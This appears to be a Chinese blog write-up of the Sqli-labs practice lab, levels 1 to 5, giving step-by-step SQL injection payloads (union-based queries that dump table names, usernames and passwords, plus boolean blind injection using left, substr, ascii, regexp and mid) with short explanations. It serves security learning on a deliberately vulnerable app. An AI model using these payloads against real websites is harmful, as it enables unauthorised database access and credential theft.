当前位置:网站首页>Sqli-labs靶场1-5
Sqli-labs靶场1-5
2022-06-26 10:02:00 【柒海】
流程
- 判断注入点和注入类型
- 判断字段个数
- 判断显示位
- 爆库
- 爆表
- 爆字段名
- 爆内容
配置注意事项
使用sqli-labs本地靶场,配置本地靶场需要注意的问题:
数据库配置文件db-creds.inc


php版本由于该靶场比较古早,所以php的版本要选择更低一点的,比如5.3.29

Less-1 单引号注入
1. 判断注入点和注入类型
单引号报错 ?id=-1' --+
2. 查字段个数
?id=1' order by 4--+
3. 判断显示位
?id=-1' union select 1,2,3 --+
4. 查库
-1' union select 1,2,database()--+
5. 查表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
6. 查列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
7. 查内容
-1' union select 1,group_concat(username),3 from security.users --+
-1' union select 1,group_concat(username),group_concat(password) from users --+
判断类型
单引号回显正常,查询语句闭合,存在注入点


1’ and 1=1回显正常,1’ and 1=2回显错误
判断字段

order by 3正常,order by 4报错,则存在三个字段
判断显示位

爆库名
爆出库名:security
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆出表名:emails,referers,uagents,users
选择一个表,users
爆列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

爆字段
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

Less-2 数字注入
判断类型

and 1=1正常,and 1=2 报错,判断是数字型注入
判断字段

order by判断字段个数,3个字段
判断显示位

爆库

爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

爆字段
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+

Less-3 单引号+括号 注入
判断类型
发现 ') 可以闭合
ps:
在实验过程中,发现双引号也可以闭合,但是执行后续命令失败,应该是语句判别时不太对。
查看对应的sql语句能明显知道这一关是 ') 去闭合。
判断字段

字段数为3
判断显示位

爆库

爆表
Less-3/?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆列
Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

爆字段

Less-4 双引号+括号 注入
判断类型
双引号+括号可以闭合
分析源代码:
对输入的 id 添加了双引号,执行语句里又添加了括号
判断字段


判断显示位

爆库

爆表
Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆列
Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

爆字段
Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from security.users --+

Less-5
判断类型

单引号闭合
判断字段数


判断显示位
没有显示位,尝试报错注入或者盲注
第五关参考:https://blog.csdn.net/Fly_hps/article/details/80247032
盲注—基于布尔
测试数据库版本:
/Less-5/?id=1' and left(version(),1)=5 --+
查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。

判断数据库名字的长度
测试数据库长度
Less-5/?id=1' and length(database())=8--+

爆破库名 left(a,b)
测试库名的第一位
Less-5/?id=1' and left(database(),1)>'a'--+ Less-5/?id=1' and left(database(),1)='s'--+
测试库名的前两位
Less-5/?id=1' and left(database(),2)='se'--+
...


经过测试大于、小于之后,我们最后可以用 等于 确定数据库的第一位是 s
ps:
在我们不知情的情况下,我们可以使用二分法来提高注入效率
之后的判断都是一样的,依次猜解就好,只需要修改left(a,b)中b的位置(该位置决定从哪个位置开始判断测试)。
最终测试出数据库的名字为 security
爆破表 substr()、ascii()
获取security数据库的第一个表的第一个字符:
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>100 --+ /Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 --+
可以通过修改substr(str,start,length)中的第二个参数“start”来猜解第一个表的第二个字符的内容。
猜测第二个表的名称,可以通过limit start,length来实现,通过修改start的值,来实现对第二个参数的获取与测试。
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100--+
第一个表:
经测试,数据库的第一个表的第一个字符为 e
第二个表:
经过测试,我们可以确定数据库名称为security,而且数据库中存在user表。
爆列 regexp
Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+ Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
确定该user表中存在us****的列
确定存在列username
爆字段 ord()、mid()
获取user表中username中第一行的第一个字符的ascii:
/Less-5/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
cast(username as char)将username转换成char类型,
注意这里是cast函数( 语法:cast(字段名 as 转换的类型 ) )
ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。
0x20是空格的ascii码的十六进制表示。
mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。
ord()函数同ascii(),将字符转为ascii值

报错注入
盲注有点痛苦,报错之后空了再来写吧
边栏推荐
- RDB persistence validation test
- Based on Zeng Shen's explanation, the line segment tree is studied again one
- SQL Server foundation introduction collation
- 挖财商学院证券开户安全嘛?
- MySQL project 8 summary
- 【软件项目管理】期末复习知识点整理
- How QT uses quazip to compress and decompress files
- June training (the 26th day) - collective search
- JWT (SSO scheme) + three ways of identity authentication
- [online simulation] Arduino uno PWM controls the speed of DC motor
猜你喜欢

Alibaba cloud OSS - object storage service (tool)

c语言 --- 运算符和表达式

MySQL第八次作业

MySQL 10th job - View

MySQL 9th job - connection Query & sub query

【深度学习理论】(6) 循环神经网络 RNN

Jasperreports - print PDF (project tool)

MySQL 11th job - view application

Enter a positive integer with no more than 5 digits, and output the last digit in reverse order

OpenCV图像处理-灰度处理
随机推荐
[online simulation] Arduino uno PWM controls the speed of DC motor
小笔记-简单但够用系列_KVM快速入门
OpenCV图像处理-灰度处理
MySQL job 11 - application de la vue
SQL Server 基础介绍整理
JWT certification agreement -- I opened a Yihong hospital
Oracle11g 启动数据库时报错 ORA-27154: post/wait create failed
MySQL模糊查询详解
最强swarm集群一键部署+氢弹级容器管理工具介绍
MySQL第十二次作业-存储过程的应用
SSH, SCP command appears permission denied, please try again solution
jwt认证协议阐述之——我开了一家怡红院
Common interview questions of binary tree
Plookup table in appliedzkp zkevm (8)
June training (the 26th day) - collective search
Grain Mall - High Availability Cluster
Nuxt. JS - learning notes
Server single and two-way adjustable one key mutual trust script!
Recent work report
Common regular expressions - tool classes (mobile number, email, QQ, fax)